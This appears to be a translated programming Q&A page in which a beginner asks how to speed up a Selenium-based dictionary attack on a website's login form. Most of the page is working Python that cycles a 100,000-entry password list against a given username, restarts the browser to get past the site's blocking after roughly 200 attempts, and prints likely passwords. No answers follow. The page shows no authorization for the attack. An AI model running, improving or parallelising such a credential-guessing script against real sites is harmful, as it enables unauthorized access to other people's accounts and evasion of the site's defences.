如何加快python中的字典攻击?

时间:2019-05-08 20:32:44

标签: python-3.x

  

我正在使用硒对网站登录进行字典攻击   我想知道自单词列表以来有什么方法可以加快它的速度   是100000字。经过一些尝试,该网站还给出了404   大约200,所以我添加了例外,我必须先使其进入   原始网站,然后单击“登录”,因为如果我不这样做,那就去   直接使用登录URL的登录按钮不起作用。

I've tried multiprocessing but it kind of got confusing(sorry I am a beginner).
from selenium import webdriver

driver = webdriver.Chrome()
user = input("Enter username:")
passwfile = input("enter the required passwfile:")
with open(passwfile) as f:
  passwfile = f.readlines()

driver.implicitly_wait(2)
driver.get(the website)
elem1 = driver.find_element_by_css_selector(
        "#headerSideBar > mat-sidenav-content > header > "
        "fss-ms-header-std > mat-toolbar > div.rSide > div.rBlock > "
        "div > button")
elem1.click()


while True:
    for line in list(passwfile):
     try:
         sel_user = driver.find_element_by_css_selector('#userName')
         sel_user.send_keys(user)
         sel_pass = driver.find_element_by_css_selector('#userPassword')
         sel_pass.send_keys(line)
         login_btn = driver.find_element_by_css_selector("#loginForm > div > div > button.button.primary.material-ripple")
         login_btn.click()
         print("------------------------------")
         print("tried pass:" + line + 'for:' + user)
         print('------------------------------')
         try_again = driver.find_element_by_css_selector("body > div > div > div > div > div > div.col2 > div.go_back_btn > input")
         try_again.click()
         passwfile.remove(line)

     except:
        driver = webdriver.Chrome()
        driver.implicitly_wait(2)
        driver.get(the website)
        elem1 = driver.find_element_by_css_selector(
            "#headerSideBar > mat-sidenav-content > header > "
            "fss-ms-header-std > mat-toolbar > div.rSide > div.rBlock > "
            "div > button")
        elem1.click()
        print("Yes it's maybe the password:" + line + "!")
    continue`enter code here`

0 个答案:

没有答案